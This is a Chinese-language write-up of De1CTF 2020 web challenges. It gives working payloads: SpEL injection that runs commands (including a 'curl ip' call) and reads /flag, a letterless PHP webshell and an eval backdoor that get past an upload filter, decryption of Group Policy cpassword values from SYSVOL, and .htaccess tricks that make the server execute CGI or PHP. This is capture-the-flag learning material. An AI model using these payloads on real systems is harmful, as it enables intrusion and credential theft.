De1CTF2020 web 复现

又是一年De1CTF,继续被吊锤orz

calc

这题进去是个计算器,应该不会再是拟态那题了吧233
抓个包发现

提示了SPEL注入

测试一下,确实是SPEL

然后尝试各种姿势,发现java.lang、T()、getClass、toString()这些都被过滤了,java萌新傻了Orz

于是参照这篇文章
https://www.jianshu.com/p/e3c77c053359
写了个payload
''.class.forName('java.la'+'ng.Runtime').getDeclaredMethods()[16].invoke(''.class.forName('java.lan'+'g.Runtime').getDeclaredMethods()[8].invoke(null),'curl ip')
然而本地能用,到这题的环境上就用不了了,测了一下发现用[]就会400,但我看大佬的wp可以用数组呀???我人傻了

最后还是大佬们的操作比较强
''.class.forName(%27java.la%27%2B%27ng.System%27).getProperties()
获得所有包
''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))
得flag

Java整得少实在不知道利用哪些类好

Hard_Pentest_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>

这题有点想当然了,没仔细审以为后缀php是大小写都过滤了,只要后缀phP就可以直接绕过的

然后比较麻烦的是这个正则过滤,过滤掉了字母数字,甚至丧心病狂地连;都给过滤了,难顶
字符部分可以用phithon大佬的脚本直接绕过
一些不包含数字和字母的webshell
;的绕过则比较有意思,直接用<?=code?>直接结束这段php,以此来代替;的作用

于是处理一下脚本

1
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>

由于环境是php7.2,因此用assert()无法执行命令(这里整了好久,一直懵逼为啥执行不了),这里修改成了直接传入函数执行
然后传一个shell上去
__=file_put_contents&_=kotori.php&___=<?php eval($_POST[0]);

蚁剑连接上去,可以看到是Windows Server。下面就是windows的渗透了

使用net use命令列出网络名,能查找到hint

是一个压缩包,解压需要密码

解压密码的获得参照这里
域渗透——利用SYSVOL还原组策略中保存的密码

先用ipconfig/all获得主机所在域

然后访问路径\\<DOMAIN>\SYSVOL\<DOMAIN>\

然后找到\\test.local\SYSVOL\test.local\Policies\{ID}\User\Preferences\Groups\Groups.xml这个文件。翻了一下发现只有ID是{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}有这个文件,于是下载下来

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

密码是加密过的,是使用AES256进行加密。由于微软提供了私钥,因此能够还原出密码

利用已有powershell脚本还原即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"

解压得到flag与下一题的提示

##

check in

对文件内容有过滤

对文件名过滤了phmlcgi,同时进行了MIME头的检测
这里利用的是Apache Mod CGI,这个最初是用来绕disabled function的,没去想到在文件上传上的利用

.htaccess设置其它后缀解析为cgi程序

1
2
Options +ExecCGI
AddHandler cgi-script .ant

然后写个shell脚本即可

1
2
3
#! /bin/bash
echo -ne "Content-Type: text/html\n\n"
ls -l

这里的Content-Type是防止出现500错误

本来应该挺简单的,不过一直出现问题。放到本地上测试后看apache的错误日志,发现报错not found file or dictionary,查了下才知道又是window和linux之间换行符不同造成的问题,在linux下编辑文件即可

还有另一种做法

1
2
Addtype application/x-httpd-p\
hp .jpg

.htaccess换行拼接即可

##